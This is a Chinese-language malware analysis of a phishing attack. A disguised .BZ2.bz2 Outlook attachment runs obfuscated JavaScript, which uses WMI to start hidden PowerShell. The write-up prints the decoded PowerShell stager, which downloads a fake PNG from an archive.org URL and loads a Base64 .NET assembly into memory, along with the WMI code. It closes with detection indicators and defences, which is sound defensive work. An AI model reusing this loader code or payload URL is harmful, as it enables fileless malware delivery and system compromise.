用户电脑病毒分析
Note
分析对象:伪装成图片压缩包的恶意 JS 脚本传播渠道:Outlook 邮件附件(.BZ2.bz2)攻击手法:WMI 隐藏进程 + Base64 内存加载 + 无文件落地
感染入口
受害者通过 Outlook 收到一封带有附件的邮件,附件名为:
IMG_11062024_000009.BZ2.bz2该文件伪装为图片压缩包,利用双层扩展名迷惑用户。
文件路径追踪
1. 邮件缓存路径
file:///C:/Users/***/AppData/Local/Microsoft/Olk/Attachments/.../IMG_11062024_000009.Bz2.bz22. 解压后临时路径
C:\Users\***\AppData\Local\Temp\...\IMG_11062024_000009.js脚本执行流程
用户双击 .BZ2.bz2 解压后得到 .js 文件,双击执行后触发以下链式反应:
wscript.exe 执行 JS
Windows 默认调用
wscript.exe解析该脚本。WMI 创建隐藏进程
脚本通过
Win32_Process.Create()接口,利用Win32_ProcessStartup设置窗口隐藏,启动后台 PowerShell。PowerShell 解码并下载
PowerShell 从
archive.org下载伪装成.png的图片文件。内存加载 .NET 程序
提取图片内嵌的 Base64 数据,通过
Reflection.Assembly.Load()直接加载到内存执行,不留磁盘痕迹。
Warning
无文件攻击风险:该恶意软件全程在内存中执行,传统的基于文件扫描的杀毒软件很难检测到异常。
恶意代码分析
JavaScript 混淆逻辑
原始 JS 文件经过混淆,核心逻辑隐藏在变量名和字符串拼接中。去除混淆后的关键代码片段如下:
// 混淆后的原始代码片段(已简化)(function() { // ... 大量无意义函数定义 ... this.chiggers = function() { // 核心:调用 PowerShell,隐藏窗口 return "powershell -NoProfile -windowStyle Hidden -Command " + this.asonant(); } this.asonant = function() { // 去除 Base64 字符串中的干扰字符 return this.autistics.replace(/[^A-Za-z0-9+/=]/g, ""); } this.Camille = function() { this.biexcitonic(); // 初始化 WMI this.asonant(); // 准备命令 wScript.Sleep(5000); // 创建隐藏进程 this.impaneling = this.escabeches.Create(this.autistics, this.cubicles, this.archeintensity, 0); } new hydrostannanes().Camille();})();关键行为提取:
WMI 调用:
// 获取 Win32_Process 和 Win32_ProcessStartup 对象this.fadista = GetObject("winmgmts:root\\cimv2");this.escabeches = this.fadista.Get("Win32_Process");this.archeintensity = this.fadista.Get("Win32_ProcessStartup").SpawnInstance_();this.archeintensity.showwindow = 0; // 隐藏窗口Base64 编码的 PowerShell 命令: 脚本中包含一段长 Base64 字符串,解码后即为 PowerShell 下载执行命令。
PowerShell 解密后的明文
将 JS 中的 Base64 字符串解码后,得到以下 PowerShell 代码:
# 定义下载链接(伪装成 PNG 图片)$url = 'http://ia600407.us.archive.org/7/items/msi-pro-with-b-64_202511/MSI_PRO_with_b64.png';# 下载数据$bytes = (New-Object Net.WebClient).DownloadData($url);# 尝试以 ASCII 解码(实际可能包含二进制)$text = [System.Text.Encoding]::ASCII.GetString($bytes);# 正则提取 BaseStart-...-BaseEnd 之间的内容if ($text -match 'BaseStart-(.*?)-BaseEnd') { $valor = $matches[1]; # 内存加载 .NET 程序集 $assembly = [Reflection.Assembly]::Load([Convert]::FromBase64String($valor)); # 调用恶意类方法 [ClassLibrary1.Class1]::VAI( '=QHe05C01YDN1AjNwETM1IDMy81b2lWdxJXYvEmeu82YuMHc19mcnRHdu9yL6MHcORHa', '0', 'C:\Users\Public\Downloads\', 'Name_File', 'appidtel', '1', 'appidtel', '1', 'URL', 'C:\Users\Public\Downloads\', 'Name_File', 'js', '1', '0', 'Task_Name', '0', '', '', '' );}恶意行为详解
1. 下载阶段
脚本通过 Net.WebClient 从 archive.org 下载文件。利用知名合法 CDN 托管恶意载荷,可绕过部分基于域名的安全过滤。
2. 提取与解码
下载的文件虽名为 .png,但内部包含 BaseStart- 和 BaseEnd- 标记的 Base64 数据。脚本使用正则提取中间内容,解码为字节数组。
3. 内存执行(无文件落地)
核心攻击点:使用 [Reflection.Assembly]::Load() 直接将字节数组加载到 .NET 内存中,不写入磁盘。
加载后调用 ClassLibrary1.Class1::VAI() 方法,传入大量参数。根据参数特征(路径、任务名、AppID 等),推测该函数为 Payload Loader,可能执行以下操作:
- 创建计划任务实现持久化
- 下载并执行后续恶意模块
- 窃取系统信息或凭据
关键参数分析
VAI 函数接收的多个参数可能对应不同的恶意模块配置:
stringC:\Users\Public\Downloads\
目标下载或释放路径
stringTask_Name
计划任务名称,用于持久化
stringappidtel
应用标识符,可能用于混淆或注册
stringjs
后续加载的载荷类型
攻击链总结
检测与防御建议
检测指标
- 文件哈希:监控
IMG_*.BZ2.bz2类型的异常附件 - 进程行为:
wscript.exe或cscript.exe启动powershell.exe且窗口隐藏 - 网络请求:内网主机向
archive.org发起大量 HTTP 下载请求 - PowerShell 日志:监控包含
Reflection.Assembly::Load、Base64解码的 PowerShell 命令
- 禁用 Office 宏和脚本执行:在组策略中禁止 Office 应用程序从 Internet 区域运行宏或脚本。
- 启用 PowerShell 日志:启用 PowerShell Script Block Logging 和 Module Logging,记录实际执行的代码。
- 应用控制:使用 AppLocker 或 WDAC 限制未签名脚本的执行。
- 终端检测:部署 EDR 产品,监控 WMI 异常调用和内存加载行为。